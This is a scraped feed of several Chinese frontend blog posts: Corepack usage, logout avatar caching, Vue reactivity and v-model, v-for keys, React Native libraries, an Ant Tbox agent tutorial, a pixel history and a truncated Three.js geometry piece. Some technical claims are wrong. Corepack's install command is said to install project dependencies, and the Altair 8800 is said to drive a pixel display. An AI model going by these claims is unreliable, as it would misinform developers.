普通视图

发现新文章,点击刷新页面。
今天 — 2025年7月13日掘金 前端

corepack使用指南

作者 pe7er
2025年7月13日 15:20

什么是 Corepack?

Corepack 是 Node.js 从 v16.9.0 起引入的实验性功能,从 v16.10.0 起默认随 Node.js 安装(在 v18+ 中为稳定特性)。它是一个桥接工具,用来自动下载并管理 Node.js 包管理器(如 Yarn、pnpm),无需手动全局安装它们。

📌 目的:确保跨项目、跨团队使用一致的包管理器版本。


启用 Corepack

在某些 Node.js 版本中,Corepack 默认未启用。你可以用以下命令启用它:

corepack enable

查看当前支持的包管理器版本:

corepack prepare --help

常用命令速查表

命令 作用
corepack enable 启用 Corepack 支持的包管理器
corepack disable 禁用 Corepack
corepack prepare <package>@<version> --activate 下载并激活指定版本的包管理器
corepack use <package>@<version> 为当前项目使用特定版本
corepack install 安装依赖(与 npm/yarn/pnpm install 类似)

使用 Corepack 管理 Yarn 和 pnpm

1. 安装指定版本的 Yarn 或 pnpm

corepack prepare yarn@3.6.4 --activate
corepack prepare pnpm@8.10.0 --activate

或者指定当前项目使用的版本(推荐):

corepack use yarn@3.6.4
corepack use pnpm@10.13.1

这会在项目中生成或修改 .yarnrc.yml,锁定 Yarn 版本。


项目中锁定包管理器版本(推荐)

在项目根目录添加 packageManager 字段到 package.json

{
  "packageManager": "yarn@3.6.4"
}

或者使用 pnpm:

{
  "packageManager": "pnpm@8.10.0"
}

Corepack 会自动读取并使用这个版本。


结合 CI/CD 使用

在 CI 中使用 Corepack 可以保证一致性。示例:

corepack enable
corepack install

升级包管理器版本

想升级 Yarn:

corepack prepare yarn@latest --activate

或者指定具体版本:

corepack prepare yarn@4.1.0 --activate

常见问题解答(FAQ)

❓ 为什么不用全局安装 Yarn/pnpm?

使用 Corepack 可以避免版本漂移,不同项目可以使用不同版本,防止开发/构建不一致。

❓ 使用 Corepack 后如何运行 yarn/pnpm 命令?

你可以直接使用 yarnpnpm 命令,Corepack 会自动处理调用(如果你已启用 Corepack 并准备好版本)。


小贴士

  • 配合 .nvmrcpackageManager 字段,打造完全可复现的 Node 环境。
  • 推荐把 corepack enable 写入项目初始化脚本或 README。

退出登录后头像还在?这个缓存问题坑过多少前端!

2025年7月13日 14:51

大家好,我是小杨,一个干了6年的前端老司机。今天要聊一个看似简单却经常被忽略的问题——为什么用户退出登录后,头像还显示在页面上?

这个问题我遇到过不止一次,甚至有一次差点被测试同学当成严重BUG提上来。其实背后的原因很简单,但解决起来有几个关键点需要注意。


1. 为什么退出登录后头像还在?

通常,头像不会自动消失,主要有以下几个原因:

① 缓存没清理干净

  • 浏览器缓存:图片可能被浏览器缓存了,即使退出登录,浏览器仍然显示旧的头像。
  • 前端状态没重置:Vue/React 的全局状态(如 Vuex、Redux)可能还保留着用户信息。

② 头像URL没更新

很多网站的头像是通过URL加载的,比如:

<img src="https://example.com/avatars/我的头像.jpg" />

如果退出登录后,前端没强制刷新页面或更新URL,浏览器可能仍然显示缓存中的旧图片。

③ 后端会话失效,但静态资源可访问

即使退出登录,头像图片如果放在公开可访问的路径下(如 /public/avatars/),浏览器仍然能加载到。


2. 怎么解决?5种常见方案

✅ 方案1:强制刷新页面(简单粗暴)

退出登录后,直接 window.location.reload(),让浏览器重新加载所有资源。

logout() {
  clearUserToken(); // 清除Token
  window.location.reload(); // 强制刷新
}

缺点:体验不好,页面会闪烁。

✅ 方案2:给头像URL加时间戳(推荐)

在头像URL后面加一个随机参数,让浏览器认为是新图片:

<img :src="`/avatars/${user.avatar}?t=${Date.now()}`" />

或者用 Vue 的 v-if 控制显示:

<img v-if="isLoggedIn" :src="user.avatar" />

✅ 方案3:清除前端缓存状态

如果用了 Vuex/Pinia,退出时一定要清空用户数据:

// store/user.js
actions: {
  logout() {
    this.user = null;
    localStorage.removeItem('token');
  }
}

✅ 方案4:后端返回默认头像(保险做法)

如果用户未登录,后端可以返回一个默认头像URL,而不是让前端处理缓存问题。

✅ 方案5:Service Worker 缓存控制(高级玩法)

如果你用了 PWA,可以通过 Service Worker 动态控制缓存策略:

// service-worker.js
self.addEventListener('fetch', (event) => {
  if (event.request.url.includes('avatar')) {
    event.respondWith(
      fetch(event.request, { cache: 'no-store' }) // 不缓存头像
    );
  }
});

3. 我踩过的坑:本地开发没问题,上线出BUG

有一次,我在本地测试退出登录功能,头像正常消失。但上线后,用户反馈退出后头像还在!

原因

  • 本地开发时,浏览器没缓存图片。
  • 生产环境用了 CDN,图片被缓存了,导致退出后仍然显示旧头像。

解决方案
在头像URL后面加版本号,比如:

<img :src="`/avatars/${user.avatar}?v=${user.avatarVersion}`" />

每次用户更新头像,后端都更新 avatarVersion,这样浏览器就会重新加载。


4. 终极解决方案:综合策略

最佳实践是 前端 + 后端 一起处理:

  1. 前端:退出时清空状态,加随机参数避免缓存。
  2. 后端:返回正确的 HTTP 缓存头(如 Cache-Control: no-store)。

5. 总结

  • 问题根源:浏览器缓存 + 前端状态没清理干净。

  • 解决方案

    • 加随机参数(?t=时间戳
    • 清空 Vuex/Redux 状态
    • 后端控制缓存策略
  • 高级方案:Service Worker 动态管理缓存

如果你也遇到过这个问题,欢迎在评论区分享你的解决方案! 🚀

⭐  写在最后

请大家不吝赐教,在下方评论或者私信我,十分感谢🙏🙏🙏.

✅ 认为我某个部分的设计过于繁琐,有更加简单或者更高逼格的封装方式

✅ 认为我部分代码过于老旧,可以提供新的API或最新语法

✅ 对于文章中部分内容不理解

✅ 解答我文章中一些疑问

✅ 认为某些交互,功能需要优化,发现BUG

✅ 想要添加新功能,对于整体的设计,外观有更好的建议

✅ 一起探讨技术加qq交流群:906392632

最后感谢各位的耐心观看,既然都到这了,点个 👍赞再走吧!

Vue的'读心术':它怎么知道数据偷偷变了?

2025年7月13日 14:47

大家好,我是小杨。做了6年前端,经常被新手问:"Vue怎么知道我修改了数据?"今天就来揭秘这个"读心术"!

1. 先看个神奇现象

data() {
  return {
    message: '你好'
  }
}

当我在代码中修改this.message = '新消息'时,视图自动更新了!这背后发生了什么?

2. 核心原理:数据劫持

Vue其实是个"老六",它偷偷做了三件事:

  1. 监听对象属性(Object.defineProperty)
  2. 建立依赖收集(Dep)
  3. 通知视图更新(Watcher)

3. 手写一个极简版

我们来模拟Vue的实现:

class 简易Vue {
  constructor(options) {
    this._data = options.data
    this.劫持数据(this._data)
  }
  
  劫持数据(obj) {
    Object.keys(obj).forEach(key => {
      let value = obj[key]
      Object.defineProperty(obj, key, {
        get() {
          console.log(`${key}被读取了`)
          return value
        },
        set(newVal) {
          console.log(`${key}${value}变成了${newVal}`)
          value = newVal
          // 这里应该通知视图更新
        }
      })
    })
  }
}

// 使用
const app = new 简易Vue({
  data: { message: '我是初始值' }
})
app._data.message = '我是新值' // 控制台会打印变化!

4. 我遇到的真实案例

曾经有个bug让我排查到凌晨3点:

data() {
  return {
    user: { name: '小杨' }
  }
}

// 错误写法!
this.user.age = 25 // 视图不会更新!

原因:Vue无法检测新增的属性!必须用this.$set(this.user, 'age', 25)

5. 数组的特殊处理

Vue对数组方法做了hack:

// 这些能触发更新
this.items.push('新项目')
this.items.splice(0, 1)

// 这些不行!
this.items[0] = '修改项' // 要用Vue.set
this.items.length = 0 // 不会触发

6. Vue 3的升级版:Proxy

Vue 3改用Proxy实现,解决了Vue 2的限制:

const data = new Proxy({ message: '你好' }, {
  set(target, key, value) {
    console.log(`检测到${key}变化`)
    target[key] = value
    return true
  }
})

data.message = '再见' // 自动触发set

7. 性能优化小技巧

  1. 冻结不需要响应的数据Object.freeze
  2. 扁平化数据结构:嵌套太深影响性能
  3. 避免在模板中使用复杂表达式

8. 调试技巧

想知道谁修改了数据?在组件中添加:

watch: {
  message(newVal, oldVal) {
    console.log(`[小杨的调试] message从${oldVal}变成了${newVal}`)
  }
}

最后说句掏心窝的

理解响应式原理后,再看Vue就像开了透视挂。下次遇到"视图不更新"的问题,你就能快速定位了!

⭐  写在最后

请大家不吝赐教,在下方评论或者私信我,十分感谢🙏🙏🙏.

✅ 认为我某个部分的设计过于繁琐,有更加简单或者更高逼格的封装方式

✅ 认为我部分代码过于老旧,可以提供新的API或最新语法

✅ 对于文章中部分内容不理解

✅ 解答我文章中一些疑问

✅ 认为某些交互,功能需要优化,发现BUG

✅ 想要添加新功能,对于整体的设计,外观有更好的建议

✅ 一起探讨技术加qq交流群:906392632

最后感谢各位的耐心观看,既然都到这了,点个 👍赞再走吧!

手把手教你造一个自己的v-model:原来双向绑定这么简单!

2025年7月13日 14:31

大家好,我是小杨,一个写了6年前端的老码农。今天想带大家揭开Vue里v-model的神秘面纱,我们自己动手实现一个简易版!

记得刚学Vue时,我觉得v-model简直是黑魔法——输入框的值怎么就自动同步到数据了呢?直到有一天我看了源码,才发现...

1. v-model的本质是什么?

一句话:语法糖!
它其实就是value属性 + @input事件的快捷写法。比如:

<input v-model="message">

等价于:

<input 
  :value="message"
  @input="message = $event.target.value"
>

2. 自己实现一个简易v-model

让我们造个轮子叫my-model

<template>
  <input 
    :value="value"
    @input="$emit('input', $event.target.value)"
  >
</template>

<script>
export default {
  props: ['value']
}
</script>

使用时:

<my-model v-model="message"></my-model>

效果:  和官方v-model一模一样!不信你试试。

3. 我踩过的坑

有次我自作聪明加了额外功能:

@input="handleInput($event.target.value)"

然后在methods里:

handleInput(val) {
  this.$emit('input', val + '后缀') // 自动加后缀
}

结果用户每输入一个字符就追加后缀,直接炸了😂。所以直接emit原始值最安全!

4. 进阶玩法:自定义组件的v-model

Vue 2.x默认使用value属性和input事件,但我们可以改!

model: {
  prop: '我喜欢的名字',  // 改用其他属性名
  event: 'change'      // 改用其他事件名
}

这样就能:

<custom-input 
  v-model="message"
  我喜欢的名字="初始值"
  @change="处理函数"
></custom-input>

5. Vue 3的小变化

Vue 3中更灵活了:

  • 默认属性名改为modelValue
  • 默认事件名改为update:modelValue
  • 支持多个v-model绑定
<MyComponent v-model:title="title" v-model:content="content" />

6. 活学活用案例

我做过一个颜色选择器组件:

<color-picker v-model="themeColor" />

内部实现:

// 当用户选颜色时
this.$emit('input', newColor)

这样父组件完全不用写监听逻辑,干净又卫生!

7. 为什么理解这个很重要?

  1. 面试常考题(我当面试官必问)
  2. 自定义表单组件必备技能
  3. 避免滥用v-model(有些场景应该用.sync)

最后送大家一句话:

"理解v-model,就是理解Vue双向绑定的第一课" —— 这是当年我的导师说的,现在送给你们。

⭐  写在最后

请大家不吝赐教,在下方评论或者私信我,十分感谢🙏🙏🙏.

✅ 认为我某个部分的设计过于繁琐,有更加简单或者更高逼格的封装方式

✅ 认为我部分代码过于老旧,可以提供新的API或最新语法

✅ 对于文章中部分内容不理解

✅ 解答我文章中一些疑问

✅ 认为某些交互,功能需要优化,发现BUG

✅ 想要添加新功能,对于整体的设计,外观有更好的建议

✅ 一起探讨技术加qq交流群:906392632

最后感谢各位的耐心观看,既然都到这了,点个 👍赞再走吧!

v-for中key值的作用:为什么我总被要求加这个'没用的'属性?

2025年7月13日 14:27

大家好,我是小杨,一个干了6年的前端老油条。今天想和大家聊聊Vue中一个看似简单却经常被问起的问题——v-for里的key值到底有什么用。

记得我刚学Vue那会儿,每次用v-for都会收到ESLint的红色警告:"Elements in iteration expect to have 'v-bind:key' directives"。当时的我总在想:"不加不也能用吗?这玩意儿到底有啥用?"

1. key值是什么?

简单说,key就是给每个循环项一个"身份证号"。比如我们渲染一个列表:

<ul>
  <li v-for="item in items" :key="item.id">
    {{ 我 }}喜欢{{ item.name }}
  </li>
</ul>

2. 为什么需要key?

Vue需要key来高效地更新DOM。没有key时,当列表顺序变化,Vue会怎么做?它会直接就地更新元素,而不是移动它们。

举个我踩过的坑:

// 初始数据
items: [
  { id: 1, name: '苹果' },
  { id: 2, name: '香蕉' }
]

// 后来数据变成了
items: [
  { id: 2, name: '香蕉' },
  { id: 1, name: '苹果' }
]

没有key时,Vue不会交换这两个li的位置,而是直接更新内容。这会导致:

  1. 性能浪费(不必要的DOM更新)
  2. 可能的状态问题(比如输入框内容错乱)

3. key的正确打开方式

✅ 正确做法:

<li v-for="item in items" :key="item.id">

❌ 错误做法:

<li v-for="item in items" :key="index">

(用index当key和没加差不多,特别是列表会变化时)

4. 我总结的key使用原则

  1. 唯一性:key应该在当前列表中唯一
  2. 稳定性:key不应该随时间改变(别用随机数!)
  3. 可预测性:相同内容应该生成相同key

5. 实际工作中的经验

有次我做了一个复杂的列表组件,每个项都有内部状态。最初偷懒用了index当key,结果用户排序时各种bug。后来老老实实改用item.id,问题迎刃而解。

6. 什么时候可以不加key?

理论上说,纯静态列表(不会排序、过滤、修改)可以不加。但我的建议是:永远加上key!这就像系安全带,平时觉得麻烦,关键时刻能救命。

最后

key值看似是个小细节,却体现了Vue的响应式原理。理解它不仅能避免bug,还能写出更高性能的代码。希望我的经验对你有帮助!

小贴士:如果你也在纠结key的问题,记住这句话——"给Vue一个靠谱的身份证,它还你一个稳定的列表渲染"。

⭐  写在最后

请大家不吝赐教,在下方评论或者私信我,十分感谢🙏🙏🙏.

✅ 认为我某个部分的设计过于繁琐,有更加简单或者更高逼格的封装方式

✅ 认为我部分代码过于老旧,可以提供新的API或最新语法

✅ 对于文章中部分内容不理解

✅ 解答我文章中一些疑问

✅ 认为某些交互,功能需要优化,发现BUG

✅ 想要添加新功能,对于整体的设计,外观有更好的建议

✅ 一起探讨技术加qq交流群:906392632

最后感谢各位的耐心观看,既然都到这了,点个 👍赞再走吧!

react native现代化组件库的推荐 【持续更新...】

作者 天平
2025年7月13日 13:11

有很多react native组件库已经不再更新了,或者设计不符合现代化。所以这里作者推荐一些在开发中收集的一些更符合现代化设计的组件库,同时也会列举出一些过去的库,并且点评出不足。

没有统一的评判标准就没有抉择。所以这里的标准就是,该库还在持续更新,UI审美符合现代化,代码设计符合现代化。

1.日期时间选择器

react-native-ui-datepicker

react-native-ui-datepicker 是一个更具现代化的日期时间选择器,UI更加精美,能够实现各种自定义样式,不仅仅是日期选择,还能实现时间选择。

image.png

image.png

2.底部弹窗bottom sheet

@gorhom/bottom-sheet

@gorhom/bottom-sheet 是非常流行的底部弹窗库,整体用起来非常丝滑。

3.防止键盘遮挡

react-native-keyboard-controller

官方内置的KeyboardAvoidingView效果不是很好, react-native-keyboard-controller 用起来非常丝滑,并且内置很多组件来应对不同的场景来防止键盘遮挡。

蚂蚁百宝箱|快速搭建会讲故事、读新闻的智能体

作者 静Yu
2025年7月13日 12:39

在人工智能技术呈指数级跃迁的当下,AI智能体正以颠覆性姿态重塑人类与数字世界的交互范式。这些具备自主感知、决策与行动能力的数字生命体,已突破传统工具的单一属性,进化为能够理解复杂语境、跨领域协同的智能伙伴。从家庭场景中主动调节温湿度的环境管家,到工业领域实现毫秒级故障预判的智能巡检员;从医疗场景中精准解析医学影像的辅助诊断系统,到教育领域动态适配学习路径的虚拟导师,AI智能体正以"润物细无声"的方式渗透进社会运行的毛细血管。
直达官网: 蚂蚁百宝箱
体验宝宝阅读卡智能体: 宝宝阅读卡

认识百宝箱

百宝箱 Tbox 是面向 AI 开发者的一站式智能体应用开发平台。 在平台上,无论您是否拥有编程基础,都可以通过自然语言,基于各种大模型搭建属于您自己的智能体应用,并将其发布到支付宝小程序、web 服务、浏览器插件等生态渠道。 通过百宝箱提供的可视化应用配置能力,可以根据自身诉求,所见即所得地完成应用的创建与编排,并发布成为智能体,满足各种场景下的个性化需求。

为什么选择百宝箱

● 主流大模型整合:支持选择业内包括 DeepSeek、通义千问、Kimi、智谱、月之暗面在内的主流大模型,为您提供更加高效的开发体验。

● 丰富的应用类型:提供对话型、文生图型、图生图型、文本生成型等多种应用类型,并提供可视化工作流设计与编排能力,支持将上述应用类型进行整合,从而更大程度的满足您的场景需求。

● MCP 插件使用:提供含支付宝 MCP Server、无影 AgentBay、高德 MCP Server 在内的多种官方预部署的 MCP 插件,实现开箱即用,进一步满足外部系统接入需求。

● 多渠道一键发布:支持多生态渠道的一键发布功能,覆盖包括支付宝小程序、应用广场、Web服务、语雀文档、浏览器插件等,大幅降低跨平台发布的复杂度,提升业务扩展效率。

快速开始

  1. 首先注册一个账号,然后就进入工作空间.

  1. 工作空间中主要包括应用,资源(卡片,插件),插件市场.
    插件,是用于拓展应用能力边界的工具(API)集。百宝箱已集成包括内容搜索、使用工具、生活服务、MCP Server 等多种场景或类型的插件,开发者可以按需使用。
    例如:支付宝MCP Server插件、百度地图插件等等 卡片是由包含输入框、图片、按钮、容器等多种组件编排而成的消息体,每一个组件都有不同的属性。通过组件编排以及属性配置,可以实现卡片的自定义。百宝箱支持应用发送卡片消息,进一步提升用户与应用的交互体验。
    卡片使得搭建的智能体不再是只能答复简单的文字,内容变得更加丰富.

  2. 根据宝宝阅读卡智能体的需求,需构建三种核心卡片:引导卡、故事卡和新闻卡。官方提供了多种常用模板,基础卡片均可基于模板进行快速修改。每张卡片包含容器、展示、输入三类组件,各组件的样式与交互事件可独立配置。
    以引导卡为例,组件可灵活设置样式和交互逻辑。【故事卡】和【新闻卡】按钮绑定消息回复事件,通过预置交互路径提升用户体验效率。这种设计允许用户快速切换功能模块,无需复杂操作即可体验智能体核心功能。
    卡片提供了多种可使用的组件,容器组件用于布局管理,展示组件呈现静态或动态内容,输入组件实现用户交互。通过事件绑定机制,各组件可触发特定响应行为,例如跳转至其他卡片或提交用户输入数据。

  1. 除了基础的卡片之外,还可以添加MCP Server来丰富智能体的功能。官方提供了便捷的一键式部署服务,例如在对应 MCP 服务的 Github Readme 页面,或者在 mcpservers.cn/mcp.so/等 MCP 社区网站寻找适合的 MCP 及 npx 部署命令,选择百宝箱一键部署的方式,自行填入部署命令,也可以在百宝箱一键部署并使用。

  2. 前期准备工作完成之后,就可以正式开发搭建我们的智能体了。
    在百宝箱,将应用分为对话型以及内容生成型两种。同时每种应用又配备了不同的构建方式,以满足不同用户的个性化需求。
    ● 对话型应用:允许用户以对话的形式与智能体进行交互。
    ● 内容生成型应用:支持文本生成、图片生成的能力。

搭建宝宝阅读卡智能体选择了对话型应用的工作流构建方式。

工作流作为业务流程编排的手段之一,允许开发者在百宝箱提供的可视化画布上通过拖拉拽的形式,串联各类节点。各节点将按照您特定顺序运行,从而更加精准且高效地满足您的个性化应用诉求。本文将为您介绍百宝箱工作流的相关能力。 通俗的讲就是开始节点->中间节点->结束节点,一条完整流程搭建我们的智能体

开始节点:对话型应用的开始节点就是用户输入的对话内容。
意图识别节点:我个人认为这是非常好用且强大的功能节点,它可以根据用户输入的内容,识别出用户的意图而实现走不同分支的目的,就比如:用户输入“生成一个小蜜蜂的故事”就会走生成故事的分支,用户输入“生成一张新闻卡”就会走MCP Server来获取具体的新闻信息。

代码节点:代码节点现在可以支持写JavaScript和Python代码来处理工作流中涉及到的数据。例如:MCP Server生成了多条具体的新闻信息的相关数据,我就可以通过代码节点取出其中的一条反馈给用户。

文本大模型节点:文本大模型节点作为工作流默认节点之一,用于在工作流中添加大语言模型,并支持通过填写提示词为大模型进行任务设定,如内容生成或内容推理等。而且支持选择 DeepSeek 系列、通义千问系列、月之暗面系列、智谱以及百灵在内多种大模型。宝宝阅读卡中的故事就是通过大模型来生成的。

结束节点:结束节点是工作流的必要节点之一,用于整个工作流流程的完结,会输出最终结果。支持卡片消息和文字消息。

  1. 开发完成之后就可以发布出去了,有多渠道可发布。

最终效果

根据上面一系列的操作,会将故事的智能体就搭建完成了,现在来体验一下最终的效果吧!

生成的阅读卡不仅有文字可以阅读,还可以点击音频播放进行听故事。
蚂蚁百宝箱的模块化设计让智能体开发门槛大幅降低,而其开放的生态架构更预示着无限可能。随着AI技术的持续进化,这个百宝箱或将催生出更多改变我们生活方式的智能应用,让我们共同期待这场由工具革新引发的创造力革命。

像素的进化史诗:计算机图形学与屏幕的千年之恋

作者 LeonGao
2025年7月13日 12:13

当你在视网膜上捕捉到这行文字时,其实正见证着一场持续半个多世纪的技术华尔兹 —— 计算机图形学与显示设备在摩尔定律的伴奏下,从笨拙的试探到优雅的共舞。这篇文章将带你剥开屏幕光鲜的外衣,看看那些闪烁的像素背后,藏着多少数学家的草稿纸和工程师的咖啡渍。

一、洞穴壁画时代:字符显示器的蛮荒岁月(1950s-1970s)

1951 年,当 UNIVAC 计算机用阴极射线管(CRT)打出第一行字符时,它大概不会想到,自己开启了一场视觉革命。那时的屏幕更像个会发光的打字机,所有图形都由 ASCII 字符拼凑而成 —— 想象一下用乐高积木搭建埃菲尔铁塔,还只能用方形积木。

底层原理小课堂:早期 CRT 就像台精密的电子水枪,电子束在荧光屏上 "扫射",击中的点会短暂发光。图形学此时还在襁褓中,程序员得手动计算每个字符的位置,就像在黑板上用粉笔画坐标。

// 1960年代风格的字符画绘制
function drawSmiley() {
  const screen = Array(24).fill().map(() => Array(40).fill(' '));
  // 手动设置每个"像素"(字符)的位置
  screen[10][20] = 'O';
  screen[12][18] = ')';
  screen[12][22] = '(';
  // 逐个打印行,模拟电子束扫描
  screen.forEach(row => console.log(row.join('')));
}

那时的图形学更像是 "字符排版学",画个笑脸都需要编写几十行代码。屏幕分辨率?大概相当于现在你眯着眼睛看报纸的效果 ——1964 年的 PDP-8 计算机,屏幕分辨率仅为 128×128,还得用八进制数计算坐标,简直是程序员的噩梦。

二、像素的诞生:从线条到色块的飞跃(1970s-1980s)

1975 年,Altair 8800 电脑的出现像一声春雷,炸醒了沉睡的图形世界。这台售价 397 美元的 "玩具" 首次实现了真正的像素控制 —— 虽然只有 256 个像素点,但这相当于给了艺术家一套基础水彩笔,而非之前的单色马克笔。

图形学的第一个魔法:扫描线算法此时横空出世。它的原理就像粉刷匠刷墙,从上到下逐行处理图形,把复杂的多边形分解成无数小段。想象一下把披萨切成细条,每根薯条就是屏幕上的一行像素。

// 简易扫描线填充算法(1970年代风格)
function fillPolygon(points) {
  // 找到图形的最高和最低行(扫描范围)
  const minY = Math.min(...points.map(p => p.y));
  const maxY = Math.max(...points.map(p => p.y));
  
  for (let y = minY; y <= maxY; y++) {
    // 计算当前行与多边形边缘的交点
    const intersections = calculateIntersections(points, y);
    // 成对连接交点,填充中间的像素
    for (let i = 0; i < intersections.length; i += 2) {
      drawLine(intersections[i], intersections[i+1], y);
    }
  }
}

CRT 显示器此时也进化出彩色能力,通过红、绿、蓝三色电子枪的配合,能产生约 16 种颜色 —— 虽然在今天看来像褪色的老照片,但在当时足以让玩家为《太空侵略者》疯狂。有趣的是,早期彩色屏幕会产生恼人的闪烁,因为电子枪切换颜色时需要时间,就像你快速转动红、绿、蓝三色滤镜,眼睛会自动混合出中间色。

三、三维革命:当像素学会透视(1980s-1990s)

1982 年,《创:战纪》电影中光轮摩托的飞驰场景,让观众第一次见识到计算机生成的三维世界。但那时的图形工作站价格堪比豪宅,普通人只能在梦里操纵 3D 模型。

矩阵的魔法:三维图形的核心是坐标变换,就像用数学公式把积木模型变成照片。当你在游戏中转动视角时,本质上是显卡在解算无数个矩阵乘法 —— 想象一下用手旋转一个透明的盒子,每个顶点的位置都需要重新计算。

// 简化版三维点透视变换
function project3DPoint(point, camera) {
  // 计算点到相机的距离(z坐标)
  const z = point.z - camera.z;
  // 透视公式:远处的物体看起来更小
  const x = (point.x * camera.fov) / z + camera.x;
  const y = (point.y * camera.fov) / z + camera.y;
  return {x, y};
}

LCD 屏幕在 1990 年代开始崭露头角,它不像 CRT 那样需要 "扫射" 电子束,而是像无数个小窗户,每个像素都能独立开关。这就解决了 CRT 的闪烁问题,但早期 LCD 响应速度慢,快速移动的画面会变成 "残影水墨画"。

四、像素的狂欢:从百万到十亿的跨越(2000s-2020s)

2006 年,《孤岛危机》游戏的发布掀起了 "显卡危机"—— 它要求的图形处理能力,让当时 90% 的电脑都汗颜。这标志着图形学进入 "写实主义" 时代,开发者开始模拟光线在物体表面的反射、折射,甚至布料的褶皱。

光线追踪的浪漫:传统光栅化技术就像用投影仪看电影,而光线追踪更像真实世界的光影 —— 从眼睛出发逆向追踪每条光线的路径。当你在《赛博朋克 2077》中看到雨夜街头霓虹灯在 puddle 中的倒影时,那是显卡在计算成千上万条虚拟光线的旅程。

// 简化版光线反射计算
function traceLight(ray, objects, depth) {
  if (depth > 5) return {r: 0, g: 0, b: 0}; // 光线反射次数有限制
  
  // 找到光线击中的第一个物体
  const hit = findFirstHit(ray, objects);
  if (!hit) return {r: 0, g: 0, b: 0}; // 击中空气(背景色)
  
  // 计算反射光线方向
  const reflection = calculateReflection(ray, hit.normal);
  // 递归追踪反射光线
  const reflectedColor = traceLight(reflection, objects, depth + 1);
  
  // 混合物体自身颜色和反射颜色
  return mixColors(hit.object.color, reflectedColor, hit.object.shininess);
}

4K 分辨率、HDR、OLED 屏幕的普及,让像素密度达到了人眼分辨的极限。现在的手机屏幕像素比 1980 年代的电脑屏幕总数还多,这意味着你指甲盖大小的区域里,就藏着 1995 年整个《超级马里奥 64》游戏世界的像素量。

五、未来的画布:当像素消失在视野中

当 MicroLED 屏幕实现百万分之一毫米的像素间距时,我们的眼睛将无法分辨单个像素 —— 屏幕会变成一块完美的 "电子画布"。而实时全局光照、体积云渲染等技术,正让虚拟世界越来越难与现实区分。

也许有一天,当你触摸屏幕上的虚拟苹果时,能感受到它的温度和纹理 —— 那时,计算机图形学与显示技术的舞蹈,将真正达到以假乱真的境界。而这一切的起点,不过是几十年前那束在荧光屏上颤抖的电子束。

就像《银翼杀手》中复制人罗伊说的:"所有这些时刻,终将流失在时光中,一如眼泪消失在雨中。" 但像素们不会消失,它们只会以更精妙的方式,继续编织我们眼中的数字世界。

Three.js 中三角形到四边形的顶点变换:一场几何的华丽变身

作者 LeonGao
2025年7月13日 12:07

**

在 3D 图形的世界里,三角形就像是乐高积木里最基础的那块小方块 —— 简单、可靠,几乎所有复杂模型都能由它堆砌而成。但有时候,我们需要更 "大气" 的形状来完成设计,比如四边形。今天我们就来看看,在 Three.js 的魔法世界里,三角形是如何摇身一变成为四边形的,这背后又藏着哪些几何的小秘密。

从三角形说起:3D 世界的 "原子"

想象一下,你手里有一张三角形的纸,三个顶点就像是三个固定的钉子,牢牢地把这张纸钉在空间中。在 Three.js 里,这三个顶点就是我们定义三角形的关键。让我们用代码来创建一个最简单的三角形:

// 定义三角形的三个顶点坐标
const triangleVertices = new Float32Array([
  0, 1, 0,   // 顶部顶点,像山峰的顶端
  -1, -1, 0, // 左下顶点,脚踏实地
  1, -1, 0   // 右下顶点,与左顶点遥遥相对
]);
// 创建几何体并设置顶点
const triangleGeometry = new THREE.BufferGeometry();
triangleGeometry.setAttribute('position', new THREE.BufferAttribute(triangleVertices, 3));

这段代码就像是在 3D 空间里钉下了三个点,然后用线把它们连起来,形成了一个稳定的三角形。这里的每个顶点都有三个数字来描述它的位置 —— 分别对应 X 轴、Y 轴和 Z 轴,就像是空间中的经纬度加上海拔高度。

为什么三角形这么重要?因为三个点确定一个平面,就像相机的三脚架永远不会晃动一样,三角形在 3D 世界里也是最稳定的结构。但当我们需要更宽敞的 "舞台" 时,四边形就该登场了。

四边形的诞生:多一个顶点的自由

四边形比三角形多了一个顶点,这可不是简单地多画一条线那么简单。如果说三角形是被三个钉子固定的纸,那四边形就像是被四个钉子固定的布 —— 它有了更多的褶皱和伸展的可能,这也意味着我们需要更聪明的方法来控制它的形状。

要把三角形变成四边形,最直接的办法就是 "加一个点"。但这个点加在哪里,怎么加,可是门大学问。我们不能随便找个地方戳个钉子,那样可能会让整个形状变得扭曲怪异。

让我们先创建一个四边形的基础结构:

// 四边形的四个顶点坐标
const quadVertices = new Float32Array([
  -1, 1, 0,   // 左上顶点
  1, 1, 0,    // 右上顶点
  1, -1, 0,   // 右下顶点
  -1, -1, 0   // 左下顶点
]);
// 创建四边形几何体
const quadGeometry = new THREE.BufferGeometry();
quadGeometry.setAttribute('position', new THREE.BufferAttribute(quadVertices, 3));

看,这就是一个标准的四边形,四个顶点像站岗的士兵一样,分别守在左上、右上、右下、左下四个位置,形成了一个规则的矩形。但如果我们想从之前的三角形变换过来,事情就没这么简单了。

顶点变换的核心:坐标的舞蹈

三角形有三个顶点,四边形有四个顶点,这意味着我们需要 "创造" 出一个新的顶点。这个新顶点从哪里来呢?其实它就藏在三角形的某个位置,等待我们把它 "拉" 出来。

想象一下,三角形的三个顶点就像三个好朋友,分别站在 (0,1,0)、(-1,-1,0) 和 (1,-1,0) 这三个位置。现在我们要邀请第四个朋友加入,让他们四个站成一个四边形。最自然的做法,就是在三角形的一条边上找一个点,把它 "拽" 出去,形成一个新的顶点。

让我们用代码来模拟这个过程。假设我们有一个三角形的顶点数组,现在要通过计算得到第四个顶点:

// 原始三角形顶点
const triangleVerts = [
  new THREE.Vector3(0, 1, 0),   // 顶部
  new THREE.Vector3(-1, -1, 0), // 左下
  new THREE.Vector3(1, -1, 0)   // 右下
];
// 我们在左下和右下顶点之间"插入"一个新顶点
// 先算出左下到右下的中点
const midPoint = new THREE.Vector3();
midPoint.x = (triangleVerts[1].x + triangleVerts[2].x) / 2;
midPoint.y = (triangleVerts[1].y + triangleVerts[2].y) / 2;
midPoint.z = 0; // z轴保持不变
// 把这个中点向上"拉"一点,形成新的顶点
const newVertex = new THREE.Vector3(
  midPoint.x,
  midPoint.y + 0.5, // 向上移动0.5单位
  midPoint.z
);
// 现在我们有了四个顶点,可以组成四边形了
const quadVerts = [
  triangleVerts[0],   // 顶部
  triangleVerts[1],   // 左下
  newVertex,          // 新顶点
  triangleVerts[2]    // 右下
];

这里的关键就像是在折纸 —— 我们找到三角形底边的中点,然后把它向上折起,原本的一条边就变成了两条边,三角形也就变成了一个四边形。这个过程中,每个顶点的坐标都在按照我们的意愿进行调整,就像指挥家指挥着音符的跳动。

底层的几何魔法:向量与空间变换

